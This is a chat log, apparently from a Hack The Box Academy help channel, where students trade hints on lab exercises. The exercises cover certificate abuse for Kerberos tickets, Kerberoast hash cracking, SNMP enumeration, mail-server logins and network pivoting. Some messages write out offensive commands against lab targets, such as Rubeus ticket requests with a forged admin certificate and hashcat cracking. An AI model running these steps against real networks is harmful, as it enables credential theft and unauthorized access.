I'm just testing it out in the pivoting module

So far it's a bit of work however it's a lot smoother

[thorn urchin]

I made a little 3 line shell script that takes a network as an argument and does all the ligolo device and route setup

[obsidian onyx]

Hi!! Currently into adcs training... in trouble with esc4 exercice im not able to get molly file... tryied with cifs tgs from rubeus from administrator and molly. Tryied some other altservice.... cant figure out what i do wrong.

Got access to molly ntlm and administrator ntlm too

[next bronze]

if you have the admin hash you can get the last question

if that's what you're stuck on

[obsidian onyx]

But sould i be able to get the file with the tgt and tgs from administrator certificate gain from abusing esc4

Or... i must ask another tgt/tgs with that ntlm using rc4

[next bronze]

I'm not sure what you're asking. if you used Rubeus.exe asktgt /user:administrator /certificate:admin-esc4.pfx /getcredentials, you will get the admin's hash, then just pth

oh i get it,you can use Rubeus.exe asktgt /user:administrator /certificate:admin-esc4.pfx /ptt to inject the ticket into your current session, then you can get the last flag that way

[sudden summit]

is anyone that has completed the skills assement 2 for Deserialiation intro able to give me a nudge? 3 days on this and starting to go crazy.

[placid pier]

in the section ACL Abuse Tactics of ACTIVE DIRECTORY ENUMERATION & ATTACKS module what is the password file to crack adunn? rockyou?

[fathom pendant]

I believe that's what I used

[placid pier]

thanks, it just doesn't want to crack for me

maybe I have a options wrong? hashcat -m 13100 rubeus_adunn.txt -a 3 /usr/share/wordlists/rockyou.txt --force --potfile-disable -o cracked.txt

[next bronze]

wrong attack mode, 0 for wordlist

[fathom pendant]

https://hashcat.net/wiki/

core attack modes

[placid pier]

hashcat -m 13100 rubeus_adunn.txt -a 0 /usr/share/wordlists/rockyou.txt --force --potfile-disable -o cracked.txt

[fathom pendant]

You don't need to disable potfile btw for output

[placid pier]

hashcat -m 13100 rubeus_adunn.txt -a 0 /usr/share/wordlists/rockyou.txt -o cracked.txt

[fathom pendant]

That should work

[fathom pendant]

Also fwiw one of the main devs has said: never use --force

[placid pier]

great thanks, firing the lab back up

[placid pier]

much success!

[severe eagle]

hey anyone had trouble with the last question on module windows command line last question on assessment

i hhave piped and done command

but every user I put in in relation to 6425 EventID doesnt work

[winter arrow]

now im stuck on footprinting hard

[fathom pendant]

Read the engagement closely and look at udp

[winter arrow]

i got the udp already

idk what to do now

i ran the snmp walk and the other one

onesixtyone

[fathom pendant]

Well if you don't know the community string, you should probably look for that first

[winter arrow]

i got a string a with nmap

[fathom pendant]

And onesixtyone will definitely output it

[winter arrow]

all it gave me was a banner

[fathom pendant]

["String"]

And snmpwalk or braa will get you the output of an interesting thing

[winter arrow]

braa dont work for me for some reason

[fathom pendant]

What's your braa command

[winter arrow]

snmp walk gave me the best output of timeout no response

braa walk /usr/share/wordlists/seclists/Discovery/SNMP/common-snmp-community-strings@10.129.202.20

[fathom pendant]

Bruh

[winter arrow]

i tried it without walk too

[fathom pendant]

Why are you throwing the whole list at it

If you properly enumerated it, you'd have the string :)

[winter arrow]

is this what it looks like? 5b99e75a10288b6100000000

[fathom pendant]

No

[winter arrow]

welp

[fathom pendant]

The community string is a plaintext string

onesixtyone will give you the answer

ip [string] blah blah blah

[winter arrow]

hit it with another nmap scan?

[fathom pendant]

No

You already have your start

Use tools that are at your disposal, this is literally the foothold lol

[winter arrow]

yea im lost i just tried onesixtyone and nothing happened 🤦‍♂️

[fathom pendant]

What is your onesixtyone command?

[winter arrow]

onesixtyone -i

[fathom pendant]

? Why i

[winter arrow]

idk which other one to use

this is aids

[fathom pendant]

My brother in christ

Read the snmp section

[winter arrow]

yea i was throwing the list at it

[fathom pendant]

i is for a file with a list of hosts

[winter arrow]

it says -c

[fathom pendant]

Yep and it gives you a pretty good wordlist to use

[winter arrow]

it said it couldnt find that file

[placid edge]

i keep confusing snmp with smtp for some reason. Always jump to mail lol

[fathom pendant]

Then that file might not be in that location

locate SecLists

Or locate snmp.txt

[placid edge]

seclists doesnt come default

so you would need to download it of gitty

[fathom pendant]

It probably mentions that somewhere

[placid edge]

yee

[fathom pendant]

but ik like most sections that reference SecLists has a link ¯_(ツ)_/¯

[winter arrow]

yea i did i found it

but it only gives me a banner

[fathom pendant]

Then use that file path of where your SecLists is

[fathom pendant]

Screenshot now, show it

What's the output

[winter arrow]

nvm this list gave me nothing

[fathom pendant]

Bc I can 99% guarantee you overlooked the onesixtyone output

Screenshot of the output: now

[fathom pendant]

That list seems small but that's not the full output is it?

[winter arrow]

nah thats the full output

then i got this

[fathom pendant]

Wrong wordlist

Ah

Yep that'll be the one

[winter arrow]

tf am i gonna do with this

[fathom pendant]

...

So you know how the examples use "public"

Use your braincells to connect the dots

[winter arrow]

they have left the building

[fathom pendant]

OK so. If the examples use "public" but you have a different word

Literally the word In The Brackets

[severe eagle]

anyone please dm me for help i have got in I dont want to post command but i have multiple users coming up

[fathom pendant]

As I pointed out earlier

[fathom pendant]

Gonna need to be specific m8 what module and section

[severe eagle]

introduction to windows command line

last question in assessment

with eventID log

4625

[fathom pendant]

Don't narrow your output to users that just exist on the system

[severe eagle]

i tried every user already

[placid edge]

@fathom pendant how many modules have you done lol

[fathom pendant]

Attackers don't always know what users exist

[winter arrow]

i put in private and get a gigantic lists of random names

[fathom pendant]

Not enough, I'm forcing myself now to actually finish ad enum

[placid edge]

i guess if you focus on a lot of certs. you do a loooooot

[fathom pendant]

why are you using "private"

The string you're looking for is staring you straight in the face

[winter arrow]

well public gave me a useless banner

[placid edge]

@winter arrow what is the response of the tool. What are the question to your task

[fathom pendant]

Evaluate the onesixtyone output that didn't just give you nothing

Look very closely at it

Stare at it until it clicks

Reread the engagement paragraph for this assessment if you have to

[severe eagle]

Yeah I have the full output for event 4625 in term

then i even rdp into event logger

[winter arrow]

it might be time for another adderall

[severe eagle]

no luck

[fathom pendant]

Don't abuse substances

[placid edge]

if you are on adderall you prob just need sleep

[fathom pendant]

I'll give you another hint [b..p]

[winter arrow]

yea tru

[fathom pendant]

Get some rest and maybe it'll click in the morning

[placid edge]

not worth getting points if your not going to remember it the day after

[winter arrow]

now there is nothing there

[severe eagle]

has anyone does this

[placid edge]

@severe eagle sorry. i havent done that module

[severe eagle]

intro to windows command line that can give me hint who

[fathom pendant]

I told you. You need to look at all the outputs

[severe eagle]

yeah I have been

[fathom pendant]

Don't filter any names out of it

[severe eagle]

for about 3 hours now before coming on here

[next bronze]

are you running the command on DC?

[severe eagle]

now from user10

[winter arrow]

okay i finally got a output but idk what now

[fathom pendant]

The username starts with j

[severe eagle]

thank you

[fathom pendant]

You mean output from braa or snmpwalk?

[winter arrow]

no just onesixtyone

[fathom pendant]

Ok

[winter arrow]

because VMware decided to be funny and freeze again

[fathom pendant]

Now the word is between the []

[winter arrow]

okay i see it now

[fathom pendant]

Good 👍

[winter arrow]

now what?

[fathom pendant]

Now use either braa or snmpwalk with that string instead of "public" from the examples

And you'll get an output of a command that looks like it could be creds

[winter arrow]

now i get error opening community file name

[fathom pendant]

Show command

Full command

[winter arrow]

vmware keyboard stuck again hang on

[severe eagle]

no luck

i dont have anyone in users with j

[fathom pendant]

Show your command

[severe eagle]

to get the message which user

[fathom pendant]

Are you running that on the domain controller?

[severe eagle]

na will connect now and try

[fathom pendant]

That's why

Literally what @next bronze said earlier iirc

[placid edge]

Yall got to remember if you dont show commands or errors its like sending a message to a mechanic saying "why doesnt my car start". We have no debugging information to help, and we dont have access to your "car"/terminal

[fathom pendant]

Yup. Command didn't look wrong, so they were just looking in the wrong place

[autumn pilot]

Read the section again, and refrain from posting spoilers about the exercises please

[severe eagle]

omg thank you MarcieLee hahahah

got it straight away

[fathom pendant]

@winter arrow onesixtyone is for finding strings, braa or snmpwalk from here

I suggest taking a break tbh

[fathom pendant]

Hi sirg I'm just redoing modules for the 10000th time xD

(I'm just waiting on a thing to run in ad enum)

Got Ligolo set up, works seamlessly

[placid edge]

ooooo

how is it?

i heard its sweet af

especially for jumpboxes

[fathom pendant]

Pretty good tbh, and seamless. Practiced on the pivoting module to get used to it. Doesn't require any elevated privileges to use

[placid edge]

thats nice. i feel like its going to make tunneling so much better. Specially when you have like 2-3 networks to pivot into

[fathom pendant]

Might f around and learn go to make switching between initiated sessions easier

[winter arrow]

okay now what i got the string

[fathom pendant]

Honestly go re-read the snmp section

And maybe update notes if you're taking any

[winter arrow]

yea i got the cheat sheet downloaded

and added some extra stuff

[placid edge]

well, reread the question at least

[fathom pendant]

This is the hard skills assesment

It combines a handful of things from the module to get the answer

[fathom pendant]

If you read the section regarding snmp the next step is pretty straightforward

[winter arrow]

yea thats what i thought too i thought it was rwcommunity

[placid edge]

ah alr. But i mean. hard or hard its going to be in the module regardless. If its about sntp its probably going to be in the sntp section

which module is this?

[winter arrow]

the footprinting hard lab

i just want past this stupid part

[lusty thicket]

it’s really not that complicated

[winter arrow]

i tend to overthink things sometimes i think

that's one of the many reasons i love the autorecon plugin but hopefully it'll get more developed

[fathom pendant]

Autorecon is a crutch

You should be able to manually verify automated results for false positives

[winter arrow]

true

but doing it manually is the equivlent of E minor

[fathom pendant]

Still. Knowing how it works is important

Auto tools are nice once you grasp the manual concept

[winter arrow]

true that

im still stuck btw the rw didnt work like i thought

[placid edge]

i often find that reporting vulnerbillities needs comfirmation to be done manually anyway so

[fathom pendant]

All you gotta do is replace a word from the example commands given

[winter arrow]

just says command not found

[fathom pendant]

Well then install the tool

If a command isn't found: make it found

[winter arrow]

apparently rwcommunity dont exist for me 🤦‍♂️

[fathom pendant]

Never used rwcommunity

[winter arrow]

that's what the page was saying

[fathom pendant]

? The only tools I saw showcased were braa, onesixtyone, and snmpwalk

rwcommunity is a setting in snmp

It's not a tool

[winter arrow]

welp i give up

[fathom pendant]

Just scroll further down from rwcommunity lol

The subsection

Footprinting the Service

SNMPWalk

braa

[winter arrow]

braa wouldnt work for me

[fathom pendant]

What is your braa command?

Bc the syntax is given in the example

[winter arrow]

unable to process queries invalid syntax

[fathom pendant]

It helps if you show us your command

[winter arrow]

i'll delete it after

[fathom pendant]

Bruh

Why are you convinced that NM is the comm string

Also it looks like you got that potentially from snmpwalk?

[winter arrow]

okay i changed it and still says invaild

idk why i had that pasted still

[fathom pendant]

braa b*@<ip>:.1.3.6.*

(b* should be obvious) once you get the interesting script output: maybe evaluate what other ports are open

[winter arrow]

still invalid

[fathom pendant]

Are you keeping the brackets? Or no

Because if you are: don't do that

[winter arrow]

no the brackets are gone

[fathom pendant]

No spaces between the community string and the @ sign

[winter arrow]

yep no spaces

[fathom pendant]

Copy paste from your terminal, to this chat

[winter arrow]

the stars stay right?

[fathom pendant]

No

[winter arrow]

or astericks

okay

[fathom pendant]

b* was a replacement for the community string that onesixtyone gave you

To not spoil it

[winter arrow]

yea i figured

i'll delete it rn

[fathom pendant]

Don't forget the :.1.3.6.*

That * is the only one that stays

[winter arrow]

now its a invalid query

[fathom pendant]

The :.1.3.6.* goes directly after the ip

[winter arrow]

i got it to run missed a .

[fathom pendant]

Now: this output should be interesting

[winter arrow]

looks like the same output from the last tool

[fathom pendant]

Snmpwalk? Yes

[winter arrow]

yea

[fathom pendant]

They essentially do the same thing: you didn't say you did snmpwalk

(I inferred bc you had the user password in your copy/paste)

Now look at other running services and see how you can use those creds

[winter arrow]

i tried ssh but no luck

[fathom pendant]

maybe other services will be more useful ¯_(ツ)_/¯

Return to enumerating ports

Also refer back to the engagement brief: you're told directly that this is a mail server

(MX, mail exchange)

[winter arrow]

yep still nothing

[fathom pendant]

The output gave you a username and password

There's mail services running that you can try those creds against

[winter arrow]

i tried it

if its the password i think it is

[fathom pendant]

The password was output in braa

Alongside username

[winter arrow]

the .sh? how do i download it

[lusty thicket]

you can’t

look for creds😉

[fathom pendant]

The output of the .sh file is in the braa output

[buoyant escarp]

Sounds like snmp

[fathom pendant]

Hard lab of footprinting

[sudden kite]

Hello I'm currently doing Attacking Common Services - Medium, I heard that I'm suppose to get 6 open port I have been reseting the box but always get like 4/5 open port

[buoyant escarp]

Ah, this wad fun

[lusty thicket]

might take a few resets

[fathom pendant]

Give it a few minutes before scanning as well

Some services take a bit to start up

[sudden kite]

do i need to perform full port scan -p- or can i just do nmap -sCV ?

[fathom pendant]

-p- is useful to be sure

[winter arrow]

this is aids

[sudden kite]

gt it will give it a go after resting it 🙂

[fathom pendant]

Your enumeration is just bad

You have all the info available for the next steps

In fact you had the password copied at one point

[winter arrow]

im trying to crack it with hashcat

[fathom pendant]

Why?

[lusty thicket]

[buoyant escarp]

No need

[fathom pendant]

It's the plaintext password

No cracking required

[buoyant escarp]

I think he talks abou the private key?

[fathom pendant]

You find that through enumeration using those creds

[winter arrow]

i saw the password next to the name

[fathom pendant]

Mhm

[buoyant escarp]

At what point is he rn?

[fathom pendant]

Barely past snmp

[fathom pendant]

Run nmap.

Check open ports

[buoyant escarp]

||Openssl+imaps||

[fathom pendant]

His enum needs work

[winter arrow]

i need to get it automated

[fathom pendant]

Automating won't help you learn

[buoyant escarp]

Nmap is automated

[fathom pendant]

Nmap should generally be the first thing you do

[winter arrow]

yep got nmap ran

[fathom pendant]

Evaluate the open ports it reveals

You ruled out 22. But the engagement is the big clue: mail server

[winter arrow]

yep got it

yep got the mail ports

[fathom pendant]

Then all you need to do is auth to one of them

[winter arrow]

with what password thought all i got was a hash

[fathom pendant]

...

No, you got the plaintext password

It's not a hash

I said it earlier

Output gave you username and password. The name of the .sh file as well should have been the giveaway

Don't make assumptions without ruling things out

[placid edge]

is this for imaps/pop3?

[fathom pendant]

Yep

[fathom pendant]

Well the section is the hard lab

If that's what you meant

[placid edge]

i pray for you marcie as support

[buoyant escarp]

Marcie always here to help

[fathom pendant]

¯_(ツ)_/¯

Kid is just overthinking the fuck outta this

There was 0 indication that the output was a hash of any kind

[placid edge]

imaps and pop3 is arguably the hardest part of the foothold exam

so

[fathom pendant]

Nah

Tbh the hard lab was the easiest one, imo

Simplest chain

[buoyant escarp]

The easy was the hardes for me

[fathom pendant]

^

[placid edge]

yeah true. I dont remember it, that was 20 modules ago

[fathom pendant]

They just use the labs difficulty rating

Amount of steps required

[placid edge]

i just remember i spent some time understanding the lab, but i mean "hardest" is just the most time consumed. I think i spent an hour or so doing it so

not really hard, just more stuff to get into

[fathom pendant]

My longest time was not reading the engagement clearly

After that it was smooth

[winter arrow]

so whats the right way to login to

[placid edge]

use openssl to connect

it tells you everything in the cource

[fathom pendant]

You have a username and password, refer back to the imap/pop3 section for syntax

Or the cheatsheet

You honestly need to spend more time understanding the given content instead of trying to rush through it

I'm not meaning to come off as rude about it, but that's what it feels like to me

But for a good majority of the skill assessments, it's taught within the module. Or its a method you learned from a previous module to move forward. I can say with certainty, the footprinting module skill exams can be done purely with the module section info.

(Sql was a pain in the ass tho)

[winter arrow]

yea it was

[placid edge]

yeah i feel like if things doesnt work out after 30 min a lot of people come here to get a hint or ask how to do it just to claim points. Which is wrong, because you dont learn it

Remember that on the exam you cant ask for hints

[fathom pendant]

Which is why I provide hints the way i do

[placid edge]

so why not spend the extra min to learn it properly

[fathom pendant]

Get the person to apply knowledge they should have been learning

Automated scripts are only as good as the person using them if you can't follow up with the next steps

A good majority of things can be done without msfconsole too

[placid edge]

i usually dont use it. If i can chose between msfconsole or a python exploit i will go for the python exploit.

[fathom pendant]

^

[winter arrow]

i think i got it

but i cant run commands

[placid edge]

i mean its good and all, but i feel like i learn more from doing it manually than just run4root

[fathom pendant]

Imap requires a prefix before commands

[placid edge]

i think that depends on the way you connect

openssl i dont think there is a prefix

[fathom pendant]

The modules are a good playground for learning

[winter arrow]

now it just says unknown commands

[fathom pendant]

No, for sure imap always requires a prefix, pop3 doesn't

[placid edge]

yeah that might be right

[fathom pendant]

Are you logged in

[winter arrow]

yea

[placid edge]

• or something?

[fathom pendant]

1 login user password

Or logon

[placid edge]

ah yes

[fathom pendant]

It can be anything

[placid edge]

oh. noice

[winter arrow]

this is right isnt it?

[fathom pendant]

Logon instead

I forgot syntax

Or is that the pop3s server?

[placid edge]

||```
https://academy.hackthebox.com/module/112/section/1073

[winter arrow]

im in on 995

[fathom pendant]

That's pop3s

POP3 and IMAP use different commands

[winter arrow]

so my commands dont work

[placid edge]

honestly i feel like more hints is a rule break

literally they tell you everything to do in the academy

[fathom pendant]

Literally near the top is pop3 commands

[winter arrow]

yea none of them work

[fathom pendant]

Underneath the list of imap commands

[fathom pendant]

Elaborate

[placid edge]

they def do.

[fathom pendant]

Did you do

USER <name>
PASS <pass>

[winter arrow]

i give up

[fathom pendant]

Not all mailboxes are equal

¯_(ツ)_/¯

[winter arrow]

hopefully a youtube walkthrough comes out

[fathom pendant]

It won't

Footprinting is a tier 2 module

Any external content for academy above tier 0 is expressly forbidden

[placid edge]

take a break then come back later. Sometimes you just need a break

[winter arrow]

yea it might be time for that

[fathom pendant]

It was time for that when you were struggling with snmp imo

[winter arrow]

probably right

[fathom pendant]

go to bed and tackle it when you wake up ¯_(ツ)_/¯

Creds won't change

[winter arrow]

need to start hunting down everyway of automation honestly though and im probably going to wanna hang myself when its time for the burpsuite and website part

[fathom pendant]

Stop thinking about automation

[winter arrow]

doing it manually is E minor

[fathom pendant]

Dude

You need to walk before you run

Understanding how these attacks/basic enumeration works can help you better understand any automation tool you use

[winter arrow]

i definitely know i need a mentor

[fathom pendant]

You need to change your outlook

You're not trying to learn anything you're just trying to push through it

Which will hinder you

[placid edge]

This is like making chatgpt write code for you when you dont know how to program. What will you do when you have a error that says "connot convert int to bytes"

like you need to know the basics to understand the debugging

dont just find an exploit and run it

understand what the exploit is doing, and you will understand what to do if it fails

[fathom pendant]

Yup

Automation only works well if you know what you're doing

The AD modules really do a good job of showcasing "here's how it's done in powershell, but now watch these other tools do it better"

[placid edge]

I've sat for 15 hours trying to figure out why my exploit isnt working for a ctf. Like its not fun, but you need to understand whats going on. What are you going to do on the exam when you cant ask questions but you need to connect to a "pop3 or imaps" server

also

why is anyone going to hire you if they can just run the same tools you are running.

[fathom pendant]

Another point: is understanding the output

[placid edge]

they pay for your expertise, not the tools

[fathom pendant]

Deciphering what is/isn't useful

Bc sometimes you will run into rabbit holes

Where an enum is just a dead end

[winter arrow]

im trying to not use metasploit because im trying to prepare for the cock and ball torture test

[fathom pendant]

Metasploit isn't everything

[winter arrow]

im trying not to rely on it

[fathom pendant]

And like I said earlier: a lot of stuff can be done without it

[winter arrow]

yea true

[fathom pendant]

Just figuring the puzzle pieces out and how they fit together is better than some random exploit that you don't know what it does

[winter arrow]

i dont know if you two would have the time or the patience but would you guys be my mentors

[fathom pendant]

Not for free

Already have enough on my plate as is

My free assistance is only here for modules

(Mostly bc I was told I can't charge for help)

[winter arrow]

fair

[fathom pendant]

Just gotta learn how to interpret output

Bc a lot of the time: the error tells you what's wrong

[thorn urchin]

I dont think mentors are useful for this field

too wide and too many paths to take, so a mentor can only ever aid in a couple aspects

not to mention its so wide and deep that any mentor is going to be focused on their own learning and journey not yours

[fathom pendant]

I also don't know shit about fuck

[thorn urchin]

Better to make a bunch of friends and learn from the collected pool of experience

[next bronze]

I often see this being recommended tbh, don't really know why

is it just to get free lessons

[fathom pendant]

@thorn urchin btw fun fact, apparently when the ligolo tunnel is running, it messes with the system's ability to query the domain

[thorn urchin]

wdym

[fathom pendant]

I did a rubeus reproast for the hash, and bc I had the tunnel running on the machine I was running the rep from: it kept failing. Stopped the tunnel, it worked

¯_(ツ)_/¯

[thorn urchin]

thats weird, I cant think of a single reason why thatd matter

[fathom pendant]

Just interesting to know... weird, but interesting

In other news: kerbrute is painfully slow through it

[thorn urchin]

shouldnt be, was fast for me

maybe new ligolo-ng updates have messed something up

[fathom pendant]

maybe my connection was funky then through vpn? I might need to test older version then ¯_(ツ)_/¯

Cause new one is kinda clunk

[quick crane]

can I dm you for INTRODUCTION TO NOSQL INJECTION skill assessment 2

[frosty creek]

Hello. Does anybody know how to exploit Werkzeug? I found the /console subdomain, but it's pin-locked. I also tried using Metasploit: exploit/multi/http/werkzeug_debug_rce, but when I run it, it's displaying "Exploit completed, no session created".